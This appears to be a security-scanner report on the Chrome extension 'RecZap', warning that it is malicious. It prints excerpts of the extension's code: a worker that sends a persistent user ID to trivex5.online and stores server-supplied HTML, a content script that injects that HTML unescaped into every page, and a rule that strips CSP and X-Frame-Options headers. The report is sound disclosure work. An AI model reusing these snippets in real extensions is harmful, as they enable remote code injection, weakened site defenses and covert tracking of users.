Chrome Web Store
3Versions
1Code reviewed

Do not install

Code review: critical

Our reviewer read this extension’s code and confirmed malicious behaviour. 4 security findings documented below. Do not install it. Remove it if you already have it.

RecZap – Screen, Audio & Camera Recorder

RecZap – Screen, Audio & Camera Recorder

ID: oocephjckjidfgiaaffnmkiiikmadkml

Supported Languages

🇺🇸English
🇺🇸US English

Extension Info & Metadata

Status
Active
Version
0.0.5
Size
0.13 MB
Rating
4.4/5
Reviews
16
Users
9,000
Type
Extension
Updated
Aug 22, 2026
Category
Art & design
Price
Free
Featured
Yes
Visibility
Unlisted
Mature
No
By Google
No
Trusted
No

This publisher

1 extension, all still listed

Publisher Contextual Analysis

Author
AleksaAView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
1
Obsolete
0
Listed
0
Unlisted
1
Total Users
9,000
Item
Type
Severity
Description
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
<all_urls>
Host
Critical
Broad host access — the extension can read/modify content on every website.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 10% increase: Early script execution enables pre-emptive content manipulation
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.

The background service worker POSTs the user's persistent UUID to `https://trivex5.online/recConf` — a domain with no affiliation to the publisher — and stores the server's returned `icon` field as `widgetData` in chrome.storage. This gives the remote operator full control over what content is delivered to every user's browser on each update cycle. The destination domain is unrelated to any disclosed service or the publisher's identity, and no data collection of this kind is disclosed in the CWS listing.

worker.js (Line 99)
function n() {  return new Promise((e, n) => t(this, void 0, void 0, function*() {          try {            const t = yield o(), n = {              method: "POST",              headers: {                "Content-Type": "application/json"              },              body: JSON.stringify({                user_id: t              })            }, r = yield fetch(`https://trivex5.online/recConf?uuid=${t}`, n);            if (!(r.status >= 200 && r.status < 300)) throw new Error(`HTTP error! status: ${r.status}`);            {              const t = yield r.json();              chrome.storage.local.set({                widgetData: t.icon              }), e(t)            }          } catch (t) {            0,            n(t)          }

The content script reads `widgetData` from chrome.storage (populated by the remote server at trivex5.online) and injects it as raw unescaped `innerHTML` into a shadow DOM element appended to `document.body` on every web page. Because the shadow DOM is `mode: open`, scripts in the main page can traverse the shadow root; more critically, any inline event handlers (e.g., `onerror`, `onload`, SVG event handlers) inside the server-controlled HTML will execute in the page's browsing context. This is a fully operational server-driven persistent code injection channel running at document_start across all URLs.

content.js (Line 64)
const e = document.createElement("div"),  t = e.attachShadow({    mode: "open"  }),  o = window.top === window.self,  i = document.createElement("div"),  d = document.createElement("style"),  [c, a] = yield Promise.all([chrome.storage.local.get(["widgetData"]), chrome.storage.local    .get(["widgetHidden"])  ]), r = a.widgetHidden || !1;e.setAttribute("style",    "position: fixed; right: 20px; bottom: 20px; z-index: 2112312321321312321; display: " + (      o && !r ? "block" : "none")),  i.innerHTML =  `\n        <div class="widget-container">\n            <div class="icon">${c.widgetData}</div>\n            <div class="close-button"></div>\n        </div>\n    `;

The declarativeNetRequest rule silently strips the `Content-Security-Policy` and `X-Frame-Options` response headers from every main_frame and sub_frame response across all URLs. Removing CSP neutralises every site's inline-script and unsafe-inline defenses, directly enabling the innerHTML injection in content.js to bypass protections that would otherwise block it; removing X-Frame-Options enables clickjacking of any site. The other headers set by this rule (`screen-capture-allowed`, `recording-quality-limit`, etc.) are non-standard fabricated headers that serve no purpose in any browser API — their presence is cover to make the rule appear legitimate. No legitimate screen recorder requires stripping security headers from third-party websites.

rules.json (Line 1)
[  {    "id": 1,    "priority": 1,    "action": {      "type": "modifyHeaders",      "responseHeaders": [        {          "header": "screen-capture-allowed",          "operation": "set",          "value": "true"        },        {          "header": "content-security-policy",          "operation": "remove"        },        {          "header": "x-frame-options",          "operation": "remove"        }      ]    },    "condition": {      "urlFilter": "*",      "resourceTypes": [        "main_frame",        "sub_frame"      ]    }  }]

The extension generates and persistently stores a UUID per browser profile, then transmits it to `trivex5.online` on every update cycle (every ~5 hours) and also encodes it into the uninstall callback URL (`/uninst?uid=...`). This creates a durable cross-site tracking identifier tied to an undisclosed third-party operator. No data collection of any kind is declared in the CWS listing, and the destination domain is unrelated to the publisher's disclosed privacy policy URL (docs.google.com).

worker.js (Line 63)
function e() {  let t = Date.now();  return Array.from("xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx")    .map(e => "x" === e || "y" === e ? (e => {      const o = Math.floor((t + 16 * Math.random()) % 16);      return t = Math.floor(t / 16), ("x" === e ? o : 3 & o | 8)        .toString(16)    })(e) : e)    .join("")}function o() {  return t(this, void 0, void 0, function*() {    const t = (yield chrome.storage.local.get(["userId"]))      .userId;    if (t) return t;    let o;    try {      o = e(), yield chrome.storage.local.set({        userId: o      })    } catch (t) {      0,      o = e();      try {        yield chrome.storage.local.set({          userId: o        })      } catch (t) {        0      }    }    return o  })}

By severity

Critical3
High1
Medium0
Low0

Versions scanned

Showing 1 of 3 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
0.0.54

Files with findings

3 distinct paths — top paths by unique finding count:

  • worker.js2
  • content.js1
  • rules.json1
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
content.js (line 64)The content script reads `widgetData` from chrome.storage (populated by the remote server at trivex5.online) and injects it as raw unescaped `innerHTML` into a shadow DOM element appended to `document.body` on every w…
2Network Interception
critical
rules.json (line 1)The declarativeNetRequest rule silently strips the `Content-Security-Policy` and `X-Frame-Options` response headers from every main_frame and sub_frame response across all URLs. Removing CSP neutralises every site's i…
3Remote Code Loading
critical
worker.js (line 99)The background service worker POSTs the user's persistent UUID to `https://trivex5.online/recConf` — a domain with no affiliation to the publisher — and stores the server's returned `icon` field as `widgetData` in chr…
4Tracking
high
worker.js (line 63)The extension generates and persistently stores a UUID per browser profile, then transmits it to `trivex5.online` on every update cycle (every ~5 hours) and also encodes it into the uninstall callback URL (`/uninst?ui…
URLs
7

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.w3.org/2000/svghttp://www.w3.org/2000/svg
trivex5.online/recConfhttps://trivex5.online/recConf?uuid=${t}`,n
trivex5.online/uninsthttps://trivex5.online/uninst?uid=${t}&ei=${Date.now(
clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
*/*http://*/*
*/*https://*/*
fonts.googleapis.com/css2https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 3 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

About this extension

Capture browser, desktop or webcam videos. Record screen and audio effortlessly.

Read the publisher’s full description

RecZap is a flexible, and lightweight screen recorder designed to capture your screen, audio, camera, or desktop activity - all in just a few clicks. Whether you're working remotely, teaching online, creating product demos, or documenting a bug, RecZap helps you record exactly what you need, when you need it. 🎯 What can you record with RecZap? - 🖥️ Full-screen recordings - capture your entire display - 🌐 Browser tab - ideal for recording presentations or tutorials - 📂 Desktop apps - record apps or tools running on your device - 🎤 Audio only - record voice notes, meetings, or lectures - 🎥 Webcam - record yourself using your built-in or external camera 🔧 Key Features: - Record screen and audio together or separately - Record from browser or desktop environment - Record your webcam (alone or alongside screen) - Lightweight and easy-to-use interface - No login or registration required - Free screen recorder no watermark 📌 Optimized for all major platforms: - ✅ Works on Windows, macOS, and Chromebooks - ✅ No heavy software installations 📘 Use RecZap to: - Create how-to videos or explainers - Record computer screen and audio for remote support - Save Zoom, Meet or Teams sessions with audio - Record voice notes or audio feedback - Capture camera-based intros for courses or YouTube - Document bugs or product walkthroughs - Record screen on Mac with audio or use as screen recorder for Chromebook 🚀 Ideal for: - Teachers & educators creating lessons - Developers and QA professionals - Remote workers and teams - Content creators and video editors - Students recording lectures or assignments 🔑 Why RecZap? - Simple UI, no clutter - Full control over what to record - Clear video and crisp sound - No watermarks or feature locks - Private - everything is saved locally Create it once. Capture it right. RecZap is your smart companion for effortless screen and audio recording.

Screenshots & videos

Screenshot 1
Screenshot 2
Screenshot 3
Screenshot 4

Install growth

User reviews

Extension files

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.